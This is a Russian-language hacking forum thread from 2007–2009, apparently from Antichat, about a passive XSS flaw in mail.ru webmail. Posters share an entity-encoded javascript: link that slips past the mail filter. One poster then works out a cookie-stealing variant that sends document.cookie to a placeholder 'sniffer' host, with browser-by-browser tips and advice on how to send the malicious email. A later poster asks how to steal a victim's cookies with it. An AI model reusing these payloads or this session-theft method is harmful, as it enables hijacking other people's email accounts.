XSS на mail.ru

Discussion in 'Уязвимости Mail-сервисов' started by ~EviL~, 22 Aug 2007.

  1. ~EviL~

    ~EviL~ Elder - Старейшина

    Joined:
    14 Aug 2007
    Messages:
    169
    Likes Received:
    77
    Reputations:
    4
    Только что нашел свежайшую XSS на mail.ru (пассивная):

    <a href=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116:alert('XSS')>Текст</a>
     
    3 people like this.
  2. 1NtR0

    1NtR0 Elder - Старейшина

    Joined:
    14 Apr 2007
    Messages:
    233
    Likes Received:
    88
    Reputations:
    35
    Ne rabotaet!

    [​IMG]
     
    #2 1NtR0, 22 Aug 2007
    Last edited: 22 Aug 2007
  3. ~EviL~

    ~EviL~ Elder - Старейшина

    Joined:
    14 Aug 2007
    Messages:
    169
    Likes Received:
    77
    Reputations:
    4
    У меня сработало... хз, ща проверю снова.
     
  4. ~EviL~

    ~EviL~ Elder - Старейшина

    Joined:
    14 Aug 2007
    Messages:
    169
    Likes Received:
    77
    Reputations:
    4
    [​IMG]
    [​IMG]

    Вот, все получается. :)
     
    #4 ~EviL~, 22 Aug 2007
    Last edited: 22 Aug 2007
  5. Skaret

    Skaret New Member

    Joined:
    13 Aug 2007
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Слушай,лутше кинь свою Xss не в зашифрованном виде
     
    1 person likes this.
  6. n1†R0x

    n1†R0x Elder - Старейшина

    Joined:
    20 Jan 2007
    Messages:
    728
    Likes Received:
    376
    Reputations:
    235
    такое будет работать только в ИЕ, если мне не изменяет память.
     
  7. inv

    inv Banned

    Joined:
    3 Aug 2007
    Messages:
    261
    Likes Received:
    143
    Reputations:
    -58
    проверил такую ссылку на локалхосте в опере-работает
     
  8. n1†R0x

    n1†R0x Elder - Старейшина

    Joined:
    20 Jan 2007
    Messages:
    728
    Likes Received:
    376
    Reputations:
    235
    Для того, чтобы оно работало, нужно отправлять письмо в HTML (да и то я не особо уверен, что фильтры не порежут)

    В незашифрованном виде оно выглядит весьма банально:
    Code:
    <a href=javascript:alert('XSS')>Текст</a>
     
  9. K1nD[e]R

    K1nD[e]R Banned

    Joined:
    16 Jun 2007
    Messages:
    151
    Likes Received:
    127
    Reputations:
    0
    Все сработало на Ура!
     
  10. inv

    inv Banned

    Joined:
    3 Aug 2007
    Messages:
    261
    Likes Received:
    143
    Reputations:
    -58
    в локалке сработало....на почте нет так как & заменилось на &amp; посылал письмо в формате htm с того же mail.ru
     
  11. ~EviL~

    ~EviL~ Elder - Старейшина

    Joined:
    14 Aug 2007
    Messages:
    169
    Likes Received:
    77
    Reputations:
    4
    2Skaret
    Фишка то в том, чтоб обойти фильтр. В незашифрованном виде код такой:
    <a href=javascript:alert('XSS')>Текст</a>
    Но такой код не выполнится, поэтому нужен такой:
    <a href=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116:alert('XSS')>Текст</a>

    :)
     
  12. mind

    mind Elder - Старейшина

    Joined:
    26 Jul 2007
    Messages:
    99
    Likes Received:
    25
    Reputations:
    0
    плин мужики помогите заюзать багу )))) пишу след код и получаю глюк в Опере:
    <a href=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116:document.images[0].src='http://адрес сниффера/s.gif?'+document.cookie;>Текст</a>
    открывается новое окно и никаких куков, а если правой кнопкой мышары и открыть то куки выводятся прямо в браузере!!!
    помогите разобраться )
     
    1 person likes this.
  13. LeverOne

    LeverOne Elder - Старейшина

    Joined:
    22 Feb 2006
    Messages:
    52
    Likes Received:
    128
    Reputations:
    115
    "мужики" все в Париже, а вот Я помогу тебе разобраться.

    Начнем с того, что "багу" до сих пор еще не прикрыли, это свидетельствует о степени ее опасности. При том, что обычная пассивка на мыл ру, запощенная в этот раздел, держится дай бог неделю, косвенно можно предположить, какова цена этой "свежей" "баги" (с т.зр. саппорта через призму всех отписавшихся до меня :cool: ) .

    Так вот, почему ее не прикрыли... Потому что уже сравнительно давно переход по такой ссылке на мыл ру опосредуется принудительно вставляемым в тег ссылки атрибутом target c параметром "_blank". Это значит, что перед тем, как попасть в адресную строку (на выполнение), твой код &#106&#97&#118&#97&#115&#99&#114&#105&#112&#116:document.images[0].src='http://адрес сниффера/s.gif?'+document.cookie; будет помещен на новую страницу. Это все равно что самостоятельно открыть новую страницу, вписать в адресную строку этот код и ждать прихода кук ! :confused: А алерты, конечно, пойдут! Только вот, видимо, очень плохо доходит инфа, что если где-то вдруг выскочил алерт, это не значит, что найдена бага XSS. :)
    В отличие от этого, когда ты нажимаешь правой кнопкой "открыть", браузер сам берет ссылку с псевдоскриптом и выполняет его непосредственно в контексте того домена, откуда ее взял. Атрибут target при этом игнорируется. Вот почему ты видишь свои куки в этом случае. Но в ИЕ это не проходит, а в ФФ ссылка правой кнопкой открывается только в новом окне. Остается из популярных только Опера.

    Теперь мы пойдем дальше и попробуем выжать из ситуации максимум :cool:

    Когда ссылка, нажатая обычным образом или через правую кнопку, открывается в новом окне, где нет никаких картинок, нет смысла обращаться к первой картинке на странице, используя document.images[0].src ! Заменям это обычным динамическим созданием объекта картинки: img=new Image(); img.src
    Далее, если посмотреть исходный код открывшейся страницы (при нажатии на ссылку обычным образом), там мы увидим, что на станице отобразилось все, что идет после src= , то есть адрес твоего сниффа. Используем это, вставляя на страницу код, отсылающий куки.
    XSS примет вид:
    PHP:
    <a href="&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116:img=new Image();img.src='<img src=http://адрес_сниффера/s.gif?'+escape(document.cookie)+'>';">text</a>
    Объясняю:
    - на голую страницу помещается тег img c адресом сниффера
    - но к этому адресу динамически прибавляются куки. Однако, куки разделены пробелами, в связи с чем может образоваться обрыв строки и на снифф отправится только первая кука. Мы снимаем эту проблему, преобразуя строку куки функцией escape (обратная - unescape(строка)).
    - и, наконец, закрываем тег img

    Обычным нажатием этот код будет работать только в ФФ.
    В Опере этот код сработает, только если открыть ссылку правой кнопкой.
    В ИЕ не сработает.

    Письмо отправлять в штмл не с маил ру.

    Посмотрим теперь, как быстро прикроют эту "багу". :D
     
    #13 LeverOne, 17 Oct 2007
    Last edited: 25 Oct 2007
    1 person likes this.
  14. mind

    mind Elder - Старейшина

    Joined:
    26 Jul 2007
    Messages:
    99
    Likes Received:
    25
    Reputations:
    0
    LeverOne, огромное тебе спасибо разобрался. к репе ++
     
  15. nikoTM

    nikoTM Elder - Старейшина

    Joined:
    25 Sep 2007
    Messages:
    41
    Likes Received:
    6
    Reputations:
    0
    а вот и баг прикрыли))
     
  16. ЛифчиС5СВ

    ЛифчиС5СВ Elder - Старейшина

    Joined:
    9 Mar 2007
    Messages:
    163
    Likes Received:
    141
    Reputations:
    12
    и сколько она всего прожила? :)
     
  17. j0nathan

    j0nathan Elder - Старейшина

    Joined:
    13 Jul 2006
    Messages:
    61
    Likes Received:
    6
    Reputations:
    0
    полюбому у них шахтёр капает на античате все дыры :) и закрывают потом их надо банить :d
     
  18. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    Античат - прежде всего сайт по безопасности (читай название темы), а не блекхат проект. Кому надо (например mail.ru), смотрят и латают оперативно дырки. В этом суть
     
  19. chekist

    chekist Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    215
    Likes Received:
    160
    Reputations:
    100
    этой багой год назад пытались мой ящик взломать, благо я всегда ява скрипты отрубаю
     
  20. LemoTTT

    LemoTTT Member

    Joined:
    29 Apr 2009
    Messages:
    45
    Likes Received:
    6
    Reputations:
    0
    Обясните

    Давайте вы мне подробнее раскажете:
    Вот код:
    PHP:
    <a href="&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116:img=new Image();img.src='<img src=http://адрес_сниффера/s.gif?'+escape(document.cookie)+'>';">text</a>
    Вопрос № 1:
    PHP:
    &#106&#97&#118&#97&#115&#99&#114&#105&#112&#116
    Это зашифрованая ссылка на xss? или что?
    Вопрос № 2:
    Допустим если я как то найду xss на http://torg.mail.ru/
    и потом пришлю вышеуказаную ссылку на почту (тоже мейл ру, а если другая почта?)жертве , она пр кн откроет, и все куки мои?